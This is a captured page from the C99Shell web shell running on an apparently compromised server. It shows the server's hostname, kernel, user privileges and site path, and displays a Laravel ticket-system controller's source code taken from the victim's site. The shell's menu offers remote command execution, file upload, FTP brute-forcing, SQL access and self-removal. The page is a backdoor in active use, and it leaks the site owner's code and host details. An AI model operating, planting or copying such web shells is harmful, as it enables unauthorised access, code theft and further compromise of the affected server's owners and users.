!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/ecom1.picotech.app/public_html_ecom1/Modules/Ticket/Http/Controllers/   drwxr-xr-x
Free 26.31 GB of 117.98 GB (22.3%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     TicketController.php (20.23 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Modules\Ticket\Http\Controllers;

use 
Illuminate\Http\Request;
use 
Illuminate\Routing\Controller;
use 
Modules\Ticket\DataTables\AdminSupportDataTable;
use 
App\Http\Controllers\EmailController;
use 
App\Exports\TicketsExport;
use 
DB;
use 
Excel;

use 
Modules\Ticket\Http\Models\{
    
Thread,
    
ThreadReply,
    
ThreadStatus,
    
Priority,
    
Department
};
use 
Illuminate\Support\Facades\{
    
Auth,
    
Session
};
use 
Modules\Ticket\Http\Requests\{
    
AdminTicketRequest,
    
ReplyRequest,
    
TicketUpdateRequest
};

use 
App\Models\{
    
User,
    
Preference
};

use 
App\Services\Mail\{
    
AssigneeMailService,
    
TicketReplyMailService,
    
VendorMailService
};


class 
TicketController extends Controller
{


    
/**
     * Ticket list for admin
     * @param AdminSupportDataTable $adminSupportDataTable
     *
     * @return [type]
     */
    
public function index(AdminSupportDataTable $adminSupportDataTable)
    {
        
$data['status']    = ThreadStatus::get();
        
$data['departments'] = Department::get();
        
$data['assignees'] = User::has('threads')->with('threads:id,assigned_member_id')->distinct()->get(['id''name']);
        
$data['from']        = $from        request('from');
        
$data['to']          = $to          request('to');
        
$data['allstatus']   = $allstatus   request('status');
        
$data['alldepartment'] = $alldepartment request('department_id');
        
$data['allassignee'] = $allassignee request('assignee');
        
$data['summary']     = $summary = (new Thread())->getThreadSummary($from$to$allstatus$alldepartmentnull$allassignee);
        if ((isset(
$from) && !empty($from)) || (isset($to) && !empty($to)) || (isset($alldepartment) && !empty($alldepartment))) {
            
$data['exceptClickedStatus'] = $exceptClickedStatus = (new Thread())->getExceptClickedStatus($allstatus);
            if (!empty(
$data['exceptClickedStatus'])) {
                foreach (
$summary as $key => $summ) {
                    foreach (
$exceptClickedStatus as $key => $exceptClickedSts) {
                        if (
$exceptClickedSts->name == $summ->name) {
                            
$summ->total_status $exceptClickedSts->total_status;
                        }
                    }
                }
            }
        } else {
            
$data['filteredStatus'] = $filteredStatus = (new Thread())->getFilteredStatus(['from' => $from'to' => $to'allstatus' => $allstatus'alldepartment' => $alldepartment'allassignee' => $allassignee]);
            if (!empty(
$data['filteredStatus'])) {
                foreach (
$summary as $key => $summ) {
                    foreach (
$filteredStatus as $key => $filtered) {
                        if (
$filtered->name == $summ->name) {
                            
$summ->total_status $filtered->total_status;
                        }
                    }
                }
            }
        }
        return 
$adminSupportDataTable->render('ticket::admin_index'$data);
    }

    
/**
     * Thred Details
     * @param mixed $id
     *
     * @return [view]
     */
    
public function view($id)
    {
        
$ticket_id   base64_decode($id);
        
$data['ticketStatuses']     = ThreadStatus::getAll();
        
$data['ticketDetails']      = (new Thread)->getAllTicketDetailsById($ticket_id);

        if (empty(
$data['ticketDetails'])) {
            return 
redirect()->back()->with('fail'__('The data you are trying to access is not found.'));
        }
        
$data['priority']           = Priority::where('id''!='$data['ticketDetails']->priority_id)->get();
        
$data['ticketReplies']      = (new Thread)->getAllTicketRepliersById($ticket_id);
        
$data['ticketStatus'] = ThreadStatus::where('id''=',  $data['ticketDetails']->threadStatus->id)->orderBy('name')->first();
        
$data['filePath'] = "public/uploads";
        
$data['assignee']    = User::whereHas('roleUser', function ($query) {
            
$query->where('role_id'1);
        })->
active()->get();
        return 
view('ticket::admin_reply'$data);
    }

    
/**
     * Ticket add
     * @return [view]
     */
    
public function add()
    {
        
$data['object_type'] = 'TICKET';
        
$data['priorities']   = Priority::get();
        
$data['assignees']    = User::whereHas('roleUser', function ($query) {
            
$query->where('role_id'1);
        })->
active()->get();

        
$data['users']    = User::whereHas('roleUser', function ($query) {
            
$query->where('role_id'2); // 2 refered to vendor
        
})->active()->get();

        
$data['ticketStatus'] = ThreadStatus::get();
        
$data['departments']  = Department::get();
        
$data['customers']    = User::where('status''active')->get();
        return 
view('ticket::admin.add'$data);
    }



    
/**
     * Store Ticket
     * @param AdminTicketRequest $request
     *
     */
    
public function store(AdminTicketRequest $request)
    {
        try {
            
DB::beginTransaction();
            
$data['receiver_id']        = $request->receiver_id;
            
$data['email']              = $request->email ??  null;
            
$data['name']               = isset($request->to) ? $request->to null;
            
$data['department_id']      = $request->department_id;
            
$data['priority_id']        = $request->priority_id;
            
$data['thread_status_id']   = $request->status_id;
            
$data['thread_key']         = 'THRD-' uniqid();
            
$data['subject']            = $request->subject;
            
$data['thread_type']        = $request->object_type;
            
$data['sender_id']          = Auth::user()->id;
            
$data['date']               = date('Y-m-d H:i:s');
            
$data['project_id']         = isset($request->project_id) ?  $request->project_id null;
            
$data['last_reply']         = date('Y-m-d H:i:s');
            
$data['assigned_member_id'] = $request->assign_id;

            
// Creating new thread
            
$id = (new Thread)->store($data);

            
$objectType '';
            
// creating a initial thread reply if the thread is created
            
if (!empty($id)) {
                
$replyData['thread_id'] = $id;
                
$replyData['receiver_id']   = Auth::user()->id;
                
$replyData['message']   = $request->message;
                
$replyData['date']      = $data['date'];
                
$replyData['has_attachment']      = isset($request->file) ? 0;
                
$objectType = (new ThreadReply)->store($replyData);
            }
            
DB::commit();
            
$attachments = [];
            if (isset(
$request->file_id) && !empty($request->file_id)) {
                
$fileId ThreadReply::where('id'$id)->get();

                foreach (
$fileId as $key => $file) {
                    
$attachments $file->filesUrlNew(['imageUrl' => 'true']);

                }
            }
            
$info['emailInfo'] = (new Thread())->getAllTicketDetailsById($id);
            
$info['assignId'] = $request->assign_id;
            
$info['receiverId'] = $request->receiver_id;
            
$info['files'] = $attachments;

            if (
$request->assign_id) {
                
$emailResponse = (new AssigneeMailService())->send($info);
                if (
$emailResponse['status'] == false) {
                    
\Session::flash('fail'__($emailResponse['message']));
                }
            }
            
// Mail to vendor
            
if ($request->receiver_id) {
                
$emailResponse = (new VendorMailService())->send($info);
                if (
$emailResponse['status'] == false) {
                    
\Session::flash('fail'__($emailResponse['message']));
                }
            }
            
Session::flash('success'__('Successfully Saved'));
            return 
redirect('admin/ticket/reply/'.base64_encode($id));
        } catch (
\Exception $e) {
            
DB::rollBack();
            return 
back()->withInput()->withErrors(['error' => $e->getMessage()]);
        }
    }


    
/**
     * Edit the ticket
     * @param mixed $id
     *
     * @return [type]
     */
    
public function edit($id)
    {
        
$data['departments']   = Department::get();
        
$data['priorities']    = Priority::get();
        
$data['assignees']     = User::whereHas('roleUser', function ($query) {
            
$query->where('role_id'1);
        })->
active()->get();

        
$data['ticketStatus']  = ThreadStatus::get();
        
$data['vendors']    = User::whereHas('roleUser', function ($query) {
            
$query->where('role_id'2);
        })->
active()->get();
        
$data['ticketDetails'] = (new Thread())->getAllTicketDetailsById($id);
        if (empty(
$data['ticketDetails'])) {
            return 
redirect()->back()->with('fail'__('The data you are trying to access is not found.'));
        }

        return 
view('ticket::edit'$data);
    }

    
/**
     * Update Ticket
     * @param Request $request
     * @param EmailController $emailController
     *
     */
    
public function update(TicketUpdateRequest $requestEmailController $emailController)
    {
        
\DB::beginTransaction();
        
$data['sender_id']          = $request->vendor_id;
        
$data['email']              = $request->email ?? null;
        
$data['name']               = $request->to ?? null;
        
$data['department_id']      = $request->department_id;
        
$data['priority_id']        = $request->priority_id;
        
$data['project_id']         = $request->project_id ?? null;
        
$data['thread_status_id']   = $request->status_id;
        
$data['thread_key']         = $request->thread_key;
        
$data['subject']            = stripBeforeSave($request->subject) ?? null;
        
$data['assigned_member_id'] = $request->assign_id ?? null;
        (new 
Thread())->updateDate($request->ticket_id$data);

        
$info['emailInfo'] = (new Thread())->getAllTicketDetailsById($request->ticket_id);
        
$info['assignId'] = 1// 1 referred to Admin
        
$info['receiverId'] = $request->receiver_id;
        
$info['files'] = [];

        if (
$request->ticket_previous_assigne != $request->assign_id) {
            if (
$request->assign_id) {
                
$emailResponse = (new AssigneeMailService)->send($info$emailController);
                if (
$request->assign_id != 1) {
                    
$info['assignId'] = $request->assign_id;
                    
$emailResponse = (new AssigneeMailService)->send($info$emailController);
                }
                if (
$emailResponse['status'] == false) {
                    
\Session::flash('fail'__($emailResponse['message']));
                }
            }
        }

        
\DB::commit();
        
Session::flash('success'__('Successfully Saved'));
        return 
redirect()->intended('admin/ticket/reply/' base64_encode($request->ticket_id));
    }

    
/**
     * Delete Ticket
     * @param Request $request
     *
     */
    
public function delete(Request $request)
    {
        if (isset(
$request->id)) {
            
$data Thread::where('id'$request->id)->first();
            if (
$data) {
                
Thread::where('id'$request->id)->delete();
                
ThreadReply::where('thread_id'$request->id)->delete();
                
\Session::flash('success'__('Deleted Successfully.'));
            }
        }
        return 
redirect()->back();
    }

    
/**
     * Ticket status
     * @param Request $request
     *
     */
    
public function getAllStatus(Request $request)
    {
        
$data = ['status' => 0];
        
$data['output'] = '';
        
$statusName    $request->statusName;
        
$ticketId   $request->ticketId;
        if (!empty(
$statusName) && !empty($ticketId)) {
            
$ticketStatus ThreadStatus::where('name''!='$statusName)->orderBy('name')->get();
            foreach (
$ticketStatus as $key => $value) {
                
$data['output'] .= '<li class="properties"><a class="status_change f-14 color_black" ticket_id="' $ticketId '" data-id="' $value->id '" data-value="' $value->name '">' $value->name '</a></li>';
            }
            
$data['status'] = 1;
        }
        return 
$data;
    }

    
/**
     * Change ticket assignee
     * @param Request $request
     *
     * @return [type]
     */
    
public function changeAssignee(Request $request)
    {
        
$ticket_id       $request->ticket_id;
        
$new_assignee_id $request->user_id;
        
$data['status'] = 0;
        if (!empty(
$ticket_id)) {
            
$confirm Thread::where(['id' => $ticket_id])->update(['assigned_member_id' => $new_assignee_id]);
            if (
$confirm) {
                
$info['emailInfo'] = (new Thread())->getAllTicketDetailsById($ticket_id);
                
$info['assignId'] = $new_assignee_id;
                
$info['files'] = [];
                
$info['receiverId'] = $info['emailInfo']->sender_id;
                if (
$new_assignee_id) {
                    
$emailResponse = (new AssigneeMailService())->send($info);
                    if (
$emailResponse['status'] == false) {
                        
$data['status'] = 2;
                        return 
$data;
                    }
                }
                
$data['status'] = 1;
            }
        }
        return 
$data;
    }



    
/**
     * Store Ticket Reply
     * @param ReplyRequest $request
     *
     */
    
public function replyStore(ReplyRequest $request)
    {
        try {
            
DB::beginTransaction();
            if (!empty(
$request->status_id)) {
                
Thread::where('id'$request->ticket_id)
                    ->
update([
                        
'thread_status_id'     => $request->status_id,
                        
'last_reply'    => date('Y-m-d H:i:s'),
                    ]);
            }
            
$data['thread_id'] = $request->ticket_id;
            
$data['receiver_id']   = Auth::user()->id;
            
$data['message']   = $request->message;
            
$data['date']      = date('Y-m-d H:i:s');
            
$threadReplyId = (new ThreadReply)->store($data);

            
$attachments = [];

            if (isset(
$request->file_id) && !empty($request->file_id)) {
                
$fileId ThreadReply::where('id'$threadReplyId)->first();
                
$attachments $fileId->filesUrlNew(['imageUrl' => 'true']);
            }

            
$info['emailInfo'] = (new Thread())->getAllTicketDetailsById($request->ticket_id);
            
$info['files'] = $attachments;
            
$info['assignId'] = empty($info['emailInfo']->receiver_id) ? $info['emailInfo']->receiver_id;
            
$emailResponse = (new TicketReplyMailService)->send($info);

            if (
$emailResponse['status'] == false) {
                
\Session::flash('fail'__($emailResponse['message']));
            }

            
DB::commit();
            
Session::flash('success'__('Successfully Saved'));
            return 
redirect()->back();
        } catch (
Exception $e) {
            
DB::rollBack();
            return 
redirect()->back()->withInput()->withErrors(['error' => $e->getMessage()]);
        }
    }



    
/**
     * Delete ticket reply
     * @param Request $request
     *
     */
    
public function replyDelete(Request $request)
    {
        if (isset(
$request->id) && isset($request->ticket_id)) {
            
// If file exeist then delete
            
$file File::where(['ticket_reply_id' => $request->id'ticket_id' => $request->ticket_id])->first();
            if (!empty(
$file)) {
                @
unlink(public_path() . '/uploads/ticketFile/' $file->file_name);
                
File::where(['ticket_reply_id' => $request->id'ticket_id' => $request->ticket_id])->delete();
            }
            
// Delete Ticket Reply
            
$data ThreadReply::where(['id' => $request->id'ticket_id' => $request->ticket_id])->first();
            if (!empty(
$data)) {
                
ThreadReply::where(['id' => $request->id'ticket_id' => $request->ticket_id])->delete();
                
\Session::flash('success'__('Deleted Successfully.'));
                return 
redirect()->back();
            }
        }
    }

    
/**
     * Update Reply
     * @param Request $request
     *
     */
    
public function updateReply(ReplyRequest $request)
    {
        if (isset(
$request->id)) {
            if ((new 
ThreadReply)->updateReply($request->message$request->id)) {
                
\Session::flash('success'__('Successfully Updated'));
                return 
redirect()->back();
            }
        }
        
\Session::flash('fail'__('Something went wrong, please try again.'));
        return 
redirect()->back();
    }


    
/**
     * Generate pdf
     * @return [type]
     */
    
public function pdf()
    {
        
$url_components parse_url(url()->previous());
        
$url_components explode('/'$url_components['path']);
        
$data['from'] = $from     request('from');
        
$data['to'] = $to       request('to');
        
$data['status'] = $status   request('status');
        
$data['departmentId'] = $departmentId request('department_id');
        
$data['assigneeId'] = $assigneeId request('assignee');
        
$data['previousUrl'] = $url_components[2];
        
$data['ticketList'] = (new Thread())->getAllData($from$to$departmentId$statusnullnull$assigneeId)->orderBy('last_reply''desc')->get();
        
$data['company_logo'] = Preference::getAll()->where('category''company')->where('field''company_logo')->first('value');
        
$data['date_range'] = !empty($from) && !empty($to) ? formatDate($from) . ' To ' formatDate($to) : 'No Date Selected';
        
$data['departmentSelected'] = Department::find($departmentId);
        
$data['statusSelected'] = ThreadStatus::find($status);
        
$data['assigneeSelected'] = User::find($assigneeId);
        return 
printPDF($data'ticket_list_pdf' time() . '.pdf''ticket::admin_ticket'view('ticket::admin_ticket'$data), 'pdf');
    }

    public function 
csv()
    {
        return 
Excel::download(new TicketsExport(), 'tickets_list' time() . '.csv');
    }


    public function 
changeStatus(Request $request)
    {
        
$data = ['status' => 0];
        if (!empty(
$request->status_id) && !empty($request->ticketId)) {
            
$previousStatus Thread::where('id'$request->ticketId)->first(['thread_status_id']);
            
$data['preStatusName'] = str_replace(' '''$previousStatus->threadStatus->name);
            
$update Thread::where(['id' => $request->ticketId])->update([
                
'thread_status_id' => $request->status_id,
            ]);

            if (
$update) {
                
$newStatus Thread::where('id'$request->ticketId)->first(['thread_status_id']);
                
$ticktStatus ThreadStatus::where('id'$newStatus->thread_status_id)->pluck('color''name')->toArray();
                
$data['newStatusName'] = str_replace(' '''$newStatus->threadStatus->name);
                
$data['newName'] = $newStatus->threadStatus->name;
                
$data['newStatusColor'] = array_values($ticktStatus)[0];
                
$data['status']  = '1';
            }
        }
        return 
$data;
    }

    public function 
changePriority(Request $request)
    {
        
$data = ['status' => 0];
        
$data['output'] = '';
        if (!empty(
$request->priorityId) && !empty($request->ticketId)) {
            
$update Thread::where(['id' => $request->ticketId])
                ->
update([
                    
'priority_id' => $request->priorityId,
                ]);

            if (
$update) {
                
$ticketStatus Priority::where('id''!='$request->priorityId)->orderBy('name')->get();
                foreach (
$ticketStatus as $key => $value) {
                    
$data['output'] .= '<li class="properties"><a class="ticket_priority_change f-14 color_black w-100 d-inline-block" ticket_id="' $request->ticketId '" data-id="' $value->id '" data-value="' $value->name '">' $value->name '</a></li>';
                }
                
$data['status']  = '1';
            }
        }
        return 
$data;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0044 ]--